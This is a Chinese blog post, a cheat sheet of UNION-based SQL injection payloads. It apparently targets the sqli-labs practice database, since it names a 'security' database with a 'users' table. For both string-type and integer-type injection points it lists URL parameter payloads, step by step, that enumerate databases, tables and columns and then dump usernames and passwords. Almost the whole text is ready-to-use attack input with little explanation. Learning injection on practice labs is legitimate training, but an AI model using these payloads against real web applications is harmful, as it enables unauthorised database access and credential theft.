• sql注入


    一 、字符型(需要闭合特意去 ' ' )

    【1】查当前库名

    ?id=' union select 1,group_concat(schema_name),2 from information_schema.SCHEMATA where '1'='1
    
    ?id=' union select 1,2,database()-- 随便     --后面有个空格再随便输个字母
    

    。。。。。。。。。。。。。。。。。。。。假设返回库名为security库
    【2】查security库的表名

    ?id=' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema='security'--+
    

    。。。。。。。。。。。。。。。。。。。。假设返回表名为users

    【3】查security库users表的列名

    ?id=' union select 1,group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema='security'--+
    

    。。。。。。。。。。。。。。。。。。。。假设返回username,password

    【4】查security库 users表的各列里面的字段

    ?id=' union select 1,group_concat(username),group_concat(password) from security.users--+
    

    二、整型(不需要闭合特意去 ' ' )

    【1】查当前库名

    ?id=0 union select 1,group_concat(schema_name),2 from information_schema.SCHEMATA
    
    ?id=0 union select 1,2,database()
    

    。。。。。。。。。。。。。。。。。。。。假设返回库名为security库

    【2】查security库的表名

    ?id=0 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema='security'
    

    。。。。。。。。。。。。。。。。。。。。假设返回表名为users

    【3】查security库users表的列名

    ?id=0 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema='security'
    

    。。。。。。。。。。。。。。。。。。。。假设返回username,password

    【4】查security库 users表的各列里面的字段

    ?id=0 union select 1,group_concat(username),group_concat(password) from security.users
    

    持续更新。。。。。。。。。。

  • 相关阅读:
    SQL游标写法代码
    关键词过滤器
    TOP4NET20107027源代码非官方
    亚马逊API之订单下载
    PHP上传大文件参数设置
    CListCtrl中的一个错误(c++)
    汇编语言数据结构
    类型为“System.OutOfMemoryException”的异常
    【javascript脚本】动态设置div的高度和宽带
    【读书笔记】串指令备注
  • 原文地址:https://www.cnblogs.com/WTa0/p/11810830.html
Copyright © 2020-2023  润新知